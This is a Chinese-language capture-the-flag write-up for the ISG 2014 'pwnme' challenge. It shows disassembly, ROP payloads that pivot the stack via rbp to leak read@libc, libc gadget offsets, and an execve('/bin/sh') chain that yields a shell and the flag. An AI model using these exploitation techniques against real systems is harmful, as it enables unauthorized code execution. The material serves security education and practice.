64位ELF binary,漏洞很明顯但考驗利用能力,stack 不可執行要 ROP。
一開始在 .text 裡沒有仔細找 gadget,導至 exploit 變得很複雜...
.text:00000000004005BD push rbp
.text:00000000004005BE mov rbp, rsp
.text:00000000004005C1 sub rsp, 10h
.text:00000000004005C5 mov edi, 3Ch ; seconds
.text:00000000004005CA call _alarm
.text:00000000004005CF mov edx, 13h ; n
.text:00000000004005D4 mov esi, offset aPwnMeIfYouCan
.text:00000000004005D9 mov edi, 1 ; fd
.text:00000000004005DE call _write
.text:00000000004005E3 lea rax, [rbp-0x10]
.text:00000000004005E7 mov edx, 100h ; nbytes
.text:00000000004005EC mov rsi, rax ; buf
.text:00000000004005EF mov edi, 0 ; fd
.text:00000000004005F4 call _read
.text:00000000004005F9 mov eax, 0
.text:00000000004005FE leave
.text:00000000004005FF retn
利用 .text:4005E3
,控制好 rbp 則可以對任意位址寫入;
.text:4005D9
則可以用來洩漏內存 (rsi 的值先由 .text:4005E3
設好)。
要注意 rsp 會被 leave
破壞掉,因此必須適當的控制 rbp,使得棧的內容保持在可控狀態,ROP 鍊才能繼續下去。
洩漏 read@libc 的 ROP 如下,
send("A"*16 +
Q(0x601040) + //rbp main
Q(0x4005E3)) //ret main -> (1)
send( Q(0x601048) + //.got:0x601030 rbp (2)
Q(0x4005D9) + //.got:0x601038 ret (2) -> (3)
Q(0x601030) + //.got:0x601040 rbp (1)
Q(0x4005E3)) //.got:0x601048 ret (1) -> (2)
send("A") //送點東西,略過 (2) 裡的 read
(1) 中 rbp = 0x601040, 讀取之後的 ROP chain 到 0x601030
(2) 中 rbp = 0x601030, rsp = 0x601040, 這步驟是為了設好 rsi = 0x601020
(3) 中 rbp = 0x601040, rsp = 0x601030, write 洩漏 0x601020 開始的內容
之後 (3) 後半段的 read
讀取 ROP chain 到 0x601030,(3) 執行到 ret
後便會接著繼續跳轉。
首先接續 ROP 如下,目地是大量洩漏 libc 裡的內容,用來尋找有用的 ROP gadget。
利用的是 .text:40065A
+ .text:400640
,可以設定 rsi, rdx,rdi 留給 write 前的 mov edi, 1
就行了。
// 此為前一步讀進來的 ROP chain,位址在 .got:[601030:601070],開始時 rsp = 0x601030
send( Q(0x40065A) + // ret
Q(0) + // rbx
Q(0) + // rbp
Q(0x601070) + // r12
Q(dump_size) + // r13 -> rdx
Q(read@lib + offset) + // r14 -> rsi
Q(0) + // r15
Q(0x400640) + // ret
Q(0x4005D9)) // .got:601070 - 給 call qword ptr [r12+rbx*8] 跳的位址
Dump libc 後找到一些重要的 gadget:
- pop_rax_ret = libc_read + 52203
- pop_rdx_ret = libc_read + 117061
- pop_rdi_ret = libc_read + 315
- pop_rsi_ret = libc_read + 6786
- syscall_ret = libc_read + 61685
這之後就簡單了,利用 ROP 做出 sys_execve( "/bin/sh", {"/bin/sh", 0}, {0} )
即得 shell。
中間遇到一個小問題:sys_execve 時會 crash 但 sys_write 卻不會,後來猜測是 rsp 會超出可寫段 0x601000,
先把 rsp 移到 0x601800 後就成功了。
ISG{nicejob_you_got_me_pwned}
Exploit source code: isg2014 - pwnme.py